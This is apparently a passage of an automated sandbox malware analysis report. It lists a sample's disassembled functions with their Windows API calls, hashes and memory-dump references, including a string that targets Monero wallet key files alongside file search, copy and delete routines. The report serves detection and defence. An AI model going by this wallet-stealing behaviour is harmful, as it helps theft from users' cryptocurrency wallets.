Instruction ID: 4f244e9efedea57edff2ef8c081c59309bc0d71d74bf1f602d93ee1dd3467a96
Opcode Fuzzy Hash: 6688f617606bcbe01fce5248a35c17706aa7218106c4109f5a07d3d0ce980fe5
Instruction Fuzzy Hash: 3F914772910119ABDF04FBA0DC99EEEBB38BF94300F404159F547B6091EF746A49CBA6

Function 0052B230 Relevance: 2.7, APIs: 2, Instructions: 205stringCOMMON

Download Yara Rule

APIs

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Part of subcall function 0053A9B0: lstrlen.KERNEL32(?,01088AA8,?,\Monero\wallet.keys,00540E17), ref: 0053A9C5
Part of subcall function 0053A9B0: lstrcpy.KERNEL32(00000000), ref: 0053AA04
Part of subcall function 0053A9B0: lstrcat.KERNEL32(00000000,00000000), ref: 0053AA12

Part of subcall function 0053A920: lstrcpy.KERNEL32(00000000,?), ref: 0053A972
Part of subcall function 0053A920: lstrcat.KERNEL32(00000000), ref: 0053A982

Part of subcall function 0053A8A0: lstrcpy.KERNEL32(?,00540E17), ref: 0053A905

lstrlen.KERNEL32(00000000), ref: 0052B42E
lstrlen.KERNEL32(00000000), ref: 0052B442

Part of subcall function 0053A7A0: lstrcpy.KERNEL32(?,00000000), ref: 0053A7E6

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$lstrcat
String ID:
API String ID: 2500673778-0
Opcode ID: 82cbcb6e0ec6b8a2c8f02b3af8ea5160d29c04428feef65647503eac07534854
Instruction ID: 97b9584ac7e5a1a698794448e6fa0dc52a50367a497fb2f6444707670ac8b067
Opcode Fuzzy Hash: 82cbcb6e0ec6b8a2c8f02b3af8ea5160d29c04428feef65647503eac07534854
Instruction Fuzzy Hash: 67712372910119ABDF04FBA0DC9ADEEBB38BF94300F404518F547B6191EF746A09CBA6

Function 00534BB0 Relevance: 2.6, APIs: 2, Instructions: 118stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 00534BEA
lstrcat.KERNEL32(?,0108DE68), ref: 00534C08

Part of subcall function 00534910: wsprintfA.USER32 ref: 0053492C
Part of subcall function 00534910: FindFirstFileA.KERNEL32(?,?), ref: 00534943

Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FDC), ref: 00534971
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,00540FE0), ref: 00534987
Part of subcall function 00534910: FindNextFileA.KERNEL32(000000FF,?), ref: 00534B7D
Part of subcall function 00534910: FindClose.KERNEL32(000000FF), ref: 00534B92

Part of subcall function 00534910: wsprintfA.USER32 ref: 005349B0
Part of subcall function 00534910: StrCmpCA.SHLWAPI(?,005408D2), ref: 005349C5
Part of subcall function 00534910: wsprintfA.USER32 ref: 005349E2
Part of subcall function 00534910: PathMatchSpecA.SHLWAPI(?,?), ref: 00534A1E
Part of subcall function 00534910: lstrcat.KERNEL32(?,0108F398), ref: 00534A4A
Part of subcall function 00534910: lstrcat.KERNEL32(?,00540FF8), ref: 00534A5C
Part of subcall function 00534910: lstrcat.KERNEL32(?,?), ref: 00534A70
Part of subcall function 00534910: lstrcat.KERNEL32(?,00540FFC), ref: 00534A82
Part of subcall function 00534910: lstrcat.KERNEL32(?,?), ref: 00534A96
Part of subcall function 00534910: CopyFileA.KERNEL32(?,?,00000001), ref: 00534AAC
Part of subcall function 00534910: DeleteFileA.KERNEL32(?), ref: 00534B31

Part of subcall function 00534910: wsprintfA.USER32 ref: 00534A07

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: eed73837fd5042335106f54dd9598eeea6b3b4e798d51430a843d9b50123512b
Instruction ID: a179e1bf87548c4b45516a50dd1c49369761b5c54f8e2b7d867ac0963909ef1e
Opcode Fuzzy Hash: eed73837fd5042335106f54dd9598eeea6b3b4e798d51430a843d9b50123512b
Instruction Fuzzy Hash: C64165B75003056BC754E7A0EC46EEE373DBBD5700F008548B64667185EEB5AA888F96

Function 00526660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 00526706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 00526753

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: f449eb9276254ad4ff816d1029f67ad5a0e9c4f0b013cc8279f135d8753e10f4
Instruction ID: 0715101bf8fff1f83b3c83d479a4b8bacca67344c864d1cfdbb1db5bd51e121c
Opcode Fuzzy Hash: f449eb9276254ad4ff816d1029f67ad5a0e9c4f0b013cc8279f135d8753e10f4
Instruction Fuzzy Hash: 0341ED74A00219EFCB44CF98D494BADBBB1FF44314F248699E9599B395C731EA81CF84

Function 00535050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00538DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

lstrcat.KERNEL32(?,00000000), ref: 0053508A
lstrcat.KERNEL32(?,0108EE18), ref: 005350A8

Part of subcall function 00534910: wsprintfA.USER32 ref: 0053492C
Part of subcall function 00534910: FindFirstFileA.KERNEL32(?,?), ref: 00534943

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: 172a8b539a7a8c9e480738ec827b13437c3a3ec5fcbd6659f67a52f82afe82a8
Instruction ID: 53a3e678e364a66f514a417ce2a6f6661afde710cb5382ac05a0fc9efcf4eff3
Opcode Fuzzy Hash: 172a8b539a7a8c9e480738ec827b13437c3a3ec5fcbd6659f67a52f82afe82a8
Instruction Fuzzy Hash: 2001887690030967C754FB60DC46EEE773CBB95300F004594F68A97191EEB5AAC88F96

Function 005210A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 005210B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 005210F7

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 533319df9c7f7da9de5c1e1ec15b5ec1f80dc4cde8e5a2c8703dcd780dc9ee2c
Instruction ID: 52fae7cd99a171404b202a574ecbb8f4a59876784560956302d1d11a41b3cc41
Opcode Fuzzy Hash: 533319df9c7f7da9de5c1e1ec15b5ec1f80dc4cde8e5a2c8703dcd780dc9ee2c
Instruction Fuzzy Hash: 2DF0E272641318BBE7149AA4AC4DFBBBBE8E706B15F305448F505E3280D572AF00CAA8

Function 009E3D13 Relevance: 1.5, APIs: 1, Instructions: 41threadCOMMON

Download Yara Rule

APIs

CreateThread.KERNEL32(00000000,00000000,?,00000000,00000000,?,?), ref: 009E4451

Memory Dump Source

Source File: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: CreateThread
String ID:
API String ID: 2422867632-0
Opcode ID: b0b673810a9f14e41e183d79e4ecc97aa0516bd9dddaa30fbc80eaf67b7230ce
Instruction ID: 072ec7213ba14b4b09c1dcecceacba971b9b8dbbafb6bbb8182fd40a8815be27
Opcode Fuzzy Hash: b0b673810a9f14e41e183d79e4ecc97aa0516bd9dddaa30fbc80eaf67b7230ce
Instruction Fuzzy Hash: F701A47121C295EFD7069F10CC85BBF7BA9EB05700F14081DF883CA594E7681C519B66

Function 00538D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,00521B54,?,?,0054564C,?,?,00540E1F), ref: 00538D9F

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.00000000009DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A02000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A0C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000A19000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470006095.0000000000A1A000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470108573.0000000000BB3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1470123498.0000000000BB4000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_520000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: 16d41872a8941ab303e308b25314f95506a748ea13cf9373638f966e2db703d4
Instruction ID: 13f504b3921619412dd3e389c851785a31f15670085ee8e215bc395a0807f9e6
Opcode Fuzzy Hash: 16d41872a8941ab303e308b25314f95506a748ea13cf9373638f966e2db703d4
Instruction Fuzzy Hash: B4F0A571C00308EBCB04EFA4D5596ECBB74FB10310F108599E8666B2D0DB745A55DF81

Function 00538DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00538E0B

Part of subcall function 0053A740: lstrcpy.KERNEL32(00540E17,00000000), ref: 0053A788

Memory Dump Source

Source File: 00000000.00000002.1469268125.0000000000521000.00000040.00000001.01000000.00000003.sdmp, Offset: 00520000, based on PE: true

Associated: 00000000.00000002.1469247940.0000000000520000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000057A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005A8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005AF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005B2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000005DD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.0000000000602000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000060F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000062F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006C5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006E5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469268125.00000000006EB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.000000000077E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1469766980.0000000000900000.00000040.00000001.01000000.00000003.sdmpDownload File
